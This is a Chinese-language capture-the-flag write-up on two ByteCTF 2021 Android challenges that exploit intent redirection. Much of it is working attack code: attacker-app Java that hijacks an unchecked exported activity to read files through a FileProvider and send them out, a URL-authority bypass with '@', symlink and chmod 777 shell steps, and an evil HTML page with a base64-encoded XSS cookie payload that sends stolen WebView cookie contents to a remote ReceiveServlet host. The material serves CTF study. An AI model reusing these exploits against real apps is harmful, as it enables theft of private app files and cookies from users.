由2021ByteCTF引出的intent重定向浅析 ¶

在此先感谢ByteCTF的赛前培训，感谢summer师傅的倾情讲解

Intent浅要概述 ¶

Intent是Android程序中各组件之间进行交互的一种重要方式，它不仅可以指明当前组件想要执行的动作，还可以在不同组件之间传递数据。Intent一般可被用于启动活动、启动服务以及发送广播等场景。
Intent是一种运行时绑定（runtime binding)机制，它能在程序运行的过程中连接两个不同的组件。通过Intent，你的程序可以向Android表达某种请求或者意愿，Android会根据意愿的内容选择适当的组件来响应。

Intent大致可以分为两种，显式Intent和隐式Intent。

显式Intent：直接设置目标组件的ComponentName(目的组件)，用于一个应用内部的消息传递，比如启动另一个Activity或者一个services。
通过Intent的setComponent()和setClass()来制定目标组件的ComponentName。
隐式Intent：没有指定ComponentName，而是通过指定一系列的action和category等信息，交由系统去分析，并找出合适的组件来响应。

同时Intent可以携带以下信息

component(组件)：目的组件

Component属性明确指定Intent的目标组件的类名称。如果 component这个属性有指定的话，将直接使用它指定的组件（显式Intent）。指定了这个属性以后，Intent的其它所有属性都是可选的。
Action(动作)：用来表现意图的行动

Action 是一个用户定义的字符串，用于描述一个 Android 应用程序组件，一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的Activity 定义时，可以在其 <intent-filter >节点指定一个Action列表用于标识 Activity 所能接受的“动作”。
category(类别)：用来表现动作的类别

该属性也是通过作为<intent-filter>的子元素来声明的。如果没有指定category，将会使用默认的"android.intent.category.DEFAULT"。只有当<action>和<category>中的内容同时能够匹配上Intent中指定的action和category时，这个活动才能响应Intent。

intent可以通过addCategory()方法指定多个category，只有同时满足时，才能匹配成功。
data(数据)：表示与动作要操纵的数据

Data是用一个uri对象来表示的。<data>标签可配置以下属性
- android:scheme 。用于指定数据的协议部分，如上例中的http部分。
- android:host 。用于指定数据的主机名部分，如上例中的www.baidu.com部分。
- android:port 。用于指定数据的端口部分，一般紧随在主机名之后。
- android:path 。用于指定主机名和端口之后的部分，如一段网址中跟在域名之后的内容。
- android:mimeType 。用于指定可以处理的数据类型，允许使用通配符的方式进行指定。
只有<data> 标签中指定的内容和Intent中携带的Data完全一致时，当前活动才能够响应该Intent。
type(数据类型)：指定Data属性的数据类型

如果Intent对象中既包含Uri又包含Type，那么，在<intent-filter>中也必须二者都包含才能通过测试。

Type属性用于明确指定Data属性的数据类型或MIME类型，但是通常来说，当Intent不指定Data属性时，Type属性才会起作用，否则Android系统将会根据Data属性值来分析数据的类型，所以无需指定Type属性。

data和type属性一般只需要一个，通过setData方法会把type属性设置为null，相反设置setType方法会把data设置为null，如果想要两个属性同时设置，要使用Intent.setDataAndType()方法。
extras(扩展信息)：扩展信息

提供附加数据。使用putExtra()方法来设置额外的key-value数据
Flags(标志位)：期望意图的运行模式

用来指示系统如何启动一个Activity（比如：这个Activity属于哪个Activity栈）和Activity启动后如何处理它(比如：是否把这个Activity归为最近的活动列表中)。

babydroid ¶

环境 API30_x86

漏洞分析 ¶

服务源码文件server.py ¶

print_to_user(r"""
 ____              __               ____                         __     
/\  _`\           /\ \             /\  _`\                __    /\ \    
\ \ \L\ \     __  \ \ \____  __  __\ \ \/\ \  _ __   ___ /\_\   \_\ \   
 \ \  _ <'  /'__`\ \ \ '__`\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \  /'_` \  
  \ \ \L\ \/\ \L\.\_\ \ \L\ \ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \ 
   \ \____/\ \__/.\_\\ \_,__/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\
    \/___/  \/__/\/_/ \/___/  `/___/> \\/___/  \/_/ \/___/  \/_/\/__,_ /
                                 /\___/                                 
                                 \/__/                                  
""")

if not proof_of_work():
    print_to_user("Please proof of work again, exit...\n")
    exit(-1)

print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
if not check_apk(EXP_FILE):
    print_to_user("Invalid apk file.\n")
    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])

adb_install(APK_FILE)
adb_activity(f"{VULER}/.MainActivity", wait=True)
with open(FLAG_FILE, "r") as f:
    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})

time.sleep(3)
adb_install(EXP_FILE)
adb_activity(f"{ATTACKER}/.MainActivity")

print_to_user("Launching! Let your apk fly for a while...\n")
time.sleep(EXPLOIT_TIME_SECS)


try:
    os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
except:
    traceback.print_exc()

h13~h15：进行了一个sha256的验证，必须满足sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True才能继续。其中prefix为random_hex(6)随机的字符；proof为用户输入的字符串。可以每次爆破得到正确的结果来输入。
h17~h22：用户输入一个url地址。server会将该文件下载下来，同时检查是否为apk。
h24~h26：新建一个安卓模拟器
h28：将含有漏洞的APK安装
h29：启动受害APK
h30~h31：打开服务器中保存的flag文件。然后通过adb命令发送一个广播，将flag传输给.FlagReceiver。其中命令如下
1
shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag [flag]
h34~h35：安装attack apk并运行

apk分析 ¶

AndroidManifest.xml ¶

可以看到注册了两个activity，一个receiver，还有一个FileProvider。其中两个activity都是可导出（可被外部组件访问）的。

MainActivity ¶

MainActivity中没有做操作，只是载入布局来显示

Vulnerable(易受攻击的) ¶

protected void onCreate(Bundle savedInstanceState){	
       super.onCreate(savedInstanceState);
       this.startActivity(this.getIntent().getParcelableExtra("intent"));
    }

该Activity通过getIntent()首先获得intent对象，之后使用getParcelableExtra("intent")，获取反序列化后名为"intent"的extra数据，并使用startActivity()来启动该intent。

FlagReceiver ¶

public void onReceive(Context context,Intent intent){	
   String flag;
   String str = "flag";
   if ((flag = intent.getStringExtra(str)) != null) {	
      File file = new File(context.getFilesDir(), str);
      this.writeFile(file, flag);
      Log.e("FlagReceiver", "received flag.");
   }	
   return;
}

该广播接收者从intent中取到一个key为"flag"的String类型数据，之后将其写出到/data/data/[package_name]/files/flag文件中。对应了server.py中传入flag的逻辑。我们想要获取的flag也就是这个路径。

FileProvider ¶

FileProvider | Android Developers (google.cn)

FileProvider是ContentProvider的一个特殊的子类，通过使用content://uri来代替file://uri，来促进安全的共享与app关联的文件。

content URI允许临时的授予该文件的读写权限。所以当创建一个包含文件content URI的时候，（如果需要）可以通过Intent.setFlags()添加相应的权限。同时权限会通过Intent传递给接收的activity（或者服务）

在创建FileProvider时，需提供一个xml文件来指定该provider提供的文件。如res/xml/file_paths.xml，其中提供了相应的映射路径以及别名。同时需要在AndroidManifest.xml中的FileProvider对应的节点内定义 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" >来声明。（其中resource属性内为提供的xml文件）

该APK的指定文件xml中定义如下

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path="" />
</paths>

<root-path>节点：代表设备的根目录

另外的节点
name属性：给该目录起的别名，用于隐藏路径
path属性：临时授权访问的路径（该目录下的子目录

则该APK提供的FileProvider提供了根目录，通过root/别名来访问

则如果我们想访问flag的存储路径，实际构造的部分uri应该为root/data/data/[package_name]/files/flag。

利用思路 ¶

FlagURI ¶

题目将flag存储到了/data/data/[package_name]/files/flag文件。同时提供了一个FileProvider，则思路是通过FileProvider来将该文件读取。

首先需要构造一个content URI。格式为

1	content://[authorities]/[name]/[file_relative_path]

则构造的URI为

1	content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag

获得权限 ¶

由于该FileProvider的exported属性（必须）设置为false。导致我们无法在外部组件中直接使用该provider。

但是该apk提供了一个VulnerableActivity，并且（不做任何校验的）将接收到的intent内中的key为"intent"的extra数据当作intent，并使用startActivity()来启动。这样就对启动的activity进行了临时的授权，可以访问该应用中未导出的组件。

因此，我们可以设置一个intent来启动Vulnerable，同时给该Intent附加一个key为intent的数据，该数据包含着构造好的恶意intent。

当Vulnerable被启动时，就会找到intent的数据，我们在intent中附上我们的attack APK的Activity，同时附加上flag的contentURI。

之后转到我们自己的Activity时，就可以任意读写目标应用内部文件。

Attack代码实现 ¶

AttackAPP ¶

private void getFlag() {
    // 判断一下是否是被目标apk来start的该Activity
    if (getIntent().getAction().equals("evil")) {
        // 获取接收到的uri
        Uri data = getIntent().getData();
        try {
            // 定义一个字符输入流
            InputStreamReader isr = new InputStreamReader(getContentResolver().openInputStream(data));
            char[] buf = new char[1024];
            StringBuffer sb = new StringBuffer("");
            while (-1 != isr.read(buf, 0, 1024)) {
                sb.append(String.valueOf(buf));
            }
            // 读取的内容输入存储到flag
            String flag = new String(sb);
            Log.d("PwnPwn", flag);
            ((TextView) findViewById(R.id.tv_show)).setText(new String(sb));
            // 通过网络、将信息传输回来获取
            sendData("getFlag",flag);
        } catch (IOException e) {
            e.printStackTrace();
        }
    } else {
        // 定义一个action为"evil"的Intent
        Intent evil = new Intent("evil");
        // 设定目的组件为当前MainActivity，也可以单独放在另一个AttackActivity中
        evil.setClassName(getPackageName(), MainActivity.class.getName());
        // 设置操纵data数据为 flag所在文件的contentURI
        evil.setData(Uri.parse(pwnUri));
        // 添加读写权限
        evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

        // 新建一个intent，用于启动目标APK
        Intent intent = new Intent();
        // 启动的目标Activity为Vulnerable
        intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
        // 同时将构造好的evil Intent当作 key "intent"的数据包装进去
        intent.putExtra("intent", evil);
        // 启动目标apk
        startActivity(intent);
        finish();
    }
}

获取到flag后设置到TextView上，同时通过sendData()方法使用get或post请求将数据回显到自己搭建的服务。该方法不表。

同时还需要声明网络权限

1	<uses-permission android:name="android.permission.INTERNET" />

在API28+的应用默认禁止使用明文网络流量(flase)，因此还需要在<application>节点中设置属性

1	android:usesCleartextTraffic="true"

需要注意一点的是attackAPP是由server.py来启动的，内定义了PackageName应为"com.bytectf.pwnbabydroid"

本地实现 ¶

首先输入命令，来生成一个flag

1	adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag ByteCTF{testFlagxxxxx}

然后安装恶意apk，运行

效果图如下，可见是由Vulnerable来启动的MainActivity

pwn2

easydroid ¶

环境 API27_x86

漏洞分析 ¶

服务源码文件server.py ¶

该server文件与上题的server文件大体相同

修改了环境为API27

修改了attackAPP和targetAPP的包名

apk分析 ¶

AndroidManifest ¶

<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Easydroid" android:usesCleartextTraffic="true">
    <activity android:exported="true" android:name="com.bytectf.easydroid.MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
    </activity>
    <activity android:exported="false" android:name="com.bytectf.easydroid.TestActivity"/>
    <receiver android:exported="false" android:name="com.bytectf.easydroid.FlagReceiver">
        <intent-filter>
        <action android:name="com.bytectf.SET_FLAG"/>
        </intent-filter>
    </receiver>
</application>

两个activity，一个receiver，其中只有MainActivity是可导出的。

FlagReceiver ¶

public class FlagReceiver extends BroadcastReceiver {
    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        if(flag != null) {
            try {
                String v0_1 = Base64.encodeToString(flag.getBytes("UTF-8"), 0);
                CookieManager.getInstance().setCookie("https://tiktok.com/", "flag=" + v0_1);
                Log.e("FlagReceiver", "received flag.");
            }
            catch(UnsupportedEncodingException e) {
                e.printStackTrace();
            }
            return;
        }
    }
}

该文件接收intent中key为"flag"的数据value，然后将其通过setCookie设置到cookie文件。

而cookie文件位于/data/data/com.bytectf.easydroid/app_webview/Cookies(API 27)文件中

我们如果想要获取flag，只需要获取该Cookie文件就可以了。

MainActivity ¶

@Override  // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle arg5) {
    super.onCreate(arg5);
    Uri data = this.getIntent().getData();
    if(data == null) {
        data = Uri.parse("http://app.toutiao.com/");
    }

    if((data.getAuthority().contains("toutiao.com")) && (data.getScheme().equals("http"))) {
        WebView webView = new WebView(this.getApplicationContext());
        webView.setWebViewClient(new WebViewClient() {
            @Override  // android.webkit.WebViewClient
            public boolean shouldOverrideUrlLoading(WebView arg5, String arg6) {
                if(Uri.parse(arg6).getScheme().equals("intent")) {
                    try {
                        MainActivity.this.startActivity(Intent.parseUri(arg6, 1));
                    }
                    catch(URISyntaxException e) {
                        e.printStackTrace();
                    }

                    return 1;
                }

                return super.shouldOverrideUrlLoading(arg5, arg6);
            }
        });
        this.setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(data.toString());
    }
}

这个Activity比较重要。

获取了intent，并且读取了intent携带的data数据。如果data数据为空，则设置data为一个普通的Uri，并不执行其他操作

如果getAuthority()得到的字符串中包括"toutiao.com"、scheme为"http"。则会使用webView来加载该链接。

而shouldOverrideUrlLoading()方法会在WebView中每次发起跳转的时候被回调。回调的时候该方法判断scheme是否等于"intent"，如果等于"intent"，则使用startActivity()方法启动该intent相应的组件，该方法第二个参数flags代表着Uri被解析格式规范

TestActivity ¶

该activity设置成未导出状态，我们没办法直接访问。但是该activity没有对intent进行任何校验，就直接使用WebView来加载intent携带的key为"url"的数据了。

我想我们的目标就是它了。

protected void onCreate(Bundle arg5) {
    super.onCreate(arg5);
    String url = this.getIntent().getStringExtra("url");
    WebView webView = new WebView(this.getApplicationContext());
    this.setContentView(webView);
    webView.getSettings().setJavaScriptEnabled(true);
    webView.loadUrl(url);
}

利用思路 ¶

我们的最终目标是通过TestActivity加载Cookie文件，并通过某种方式得到回显。

Intent重定向 ¶

因为MainActivity是可导出的，我们可以给MainActivity传递一个intent，同时绕过authority和scheme的验证，使其可以访问到构造好的evil网址。

则需要构造一个Uri，我选择构造的为"http://app.toutiao.com@[evil_page]"，这样便可以访问到evil_page

同时evil_page内通过使用location.href添加一个Intent的Uri。当访问时，shouldOverrideUrlLoading()方法就会被回调。并且解析该Uri作为intent并使用startActivity()来启动。

我们只需让该intent携带一个"url"的数据，并且明确指向TestActivity。这样当TestActivity接收到后，就会将url来加载。

WebView窃取Cookies ¶

我们的目标是获得Cookie文件，如果将Cookies文件的路径放到"url"的数据中，便可以将Cookies当作html解释，但只是将Cookies文件使用WebView加载还是不够，因为我们需要将Cookies文件中的内容传输回来。

于是就可以在evil_page中使用document.cookie=设置一个cookie，然后里面填写恶意的JavaScript代码将数据发送到接收方。当将Cookie当做html解释时，恶意JavaScript代码就会执行。

还有一个点是Cookies文件没有后缀名，我们还需要创建一个.html的符号链接来指向Cookies文件，这样才能实现WebView加载Cookies文件。

Attack代码实现 ¶

AttackAPP ¶

public class MainActivity extends AppCompatActivity {
    // 定义evil_page的地址
    String base = "10.7.89.108/MyTest/evil.html";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        // 构造一个恶意Intent，让shouldOverrideUrlLoading回调时候使用startActivity传递该Intent
        buildEvilIntent();
        // 启动搭建好的evil 网页，让目标app访问。
        launch(base);
    }

    private void buildEvilIntent() {
        Intent evil = new Intent();
        // 设置目的组件为TestActivity
        evil.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.TestActivity");
        // 将需要WebView加载的Cookies符号地址链接传递过去
        evil.putExtra("url","file:"+symlink());
        // flags是转换的格式，同MainActivity为1
        Log.d("PwnThree-evilUri",evil.toUri(1));
        // 复制该Uri，然后在evil_page中添加 跳转到该Uri的代码
    }

    private void launch(String url){
        // 构造一个intent
        Intent intent = new Intent();
        // 设置目的组件为MainActivity
        intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
        // 构造恶意Uri，使用@突破校验
        intent.setData(Uri.parse("http://www.toutiao.com@" + url));
        // 设置activity启动模式
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK);
        // 启动目标app的activity
        startActivity(intent);

    }
    private String symlink(){
        // 获得应用数据目录
        String root = getApplicationInfo().dataDir;
        Log.d("PwnThree","root path:"+root);
        // 构造一个符号链接
        String symlink = root + "/symlink.html";
        Log.d("PwnThree","symlink path:"+symlink);
        String cookies = null;
        Runtime runtime = Runtime.getRuntime();
        try {
            // Cookies所在路径
            cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid",0).dataDir +"/app_webview/Cookies";
            Log.d("PwnThree","Cookies path:"+cookies);
            // 删除该path对应的文件，防止创建符号链接时冲突。
            runtime.exec("rm "+symlink).waitFor();
            // 创建该符号链接，使后缀名为.html。方便WebView打开
            runtime.exec("ln -s "+cookies+" " + symlink).waitFor();
            // 赋予应用目录最高777权限，使外部应用也可以访问该目录
            runtime.exec("chmod -R 777 "+root).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }
        // 返回创建的符号链接的全路径
        return symlink;
    }
}

evil_page ¶

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>evil</title>
</head>
<body>
<h1>injected cookie with xss</h1>
<script>
    document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'"
    var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"
    new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page.");
     setTimeout(function() {
         location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end';
     }, 40000);
</script>
</body>
</html>

h10：添加了一个cookie，名字为"sendData"，相应的值是一个<img>标签，src属性是一个不存在的路径，因此<img>标签在装载文档或图像的过程中会发生错误，就会执行onerror事件。使用eval()来执行js代码文本，atob()将文本进行base64解密得到真实的代码。

其中base64的代码源为
1
2
var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"
new Image().src = baseUrl + "cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);
也就是将该页面全部内容作为参数发送到接收方
h11~h12：只是简单的通知一下接收方用户打开了该页面（可以去掉
h13~h15：使用setTimeout延时40s再跳转。因为含有恶意js代码的cookie的写入需要一定时间

等待好后会跳转前往构造好的intent的Uri。之后便会被shouldOverrideUrlLoading()回调函数捕获，并通过startActivity()来启动TestActivity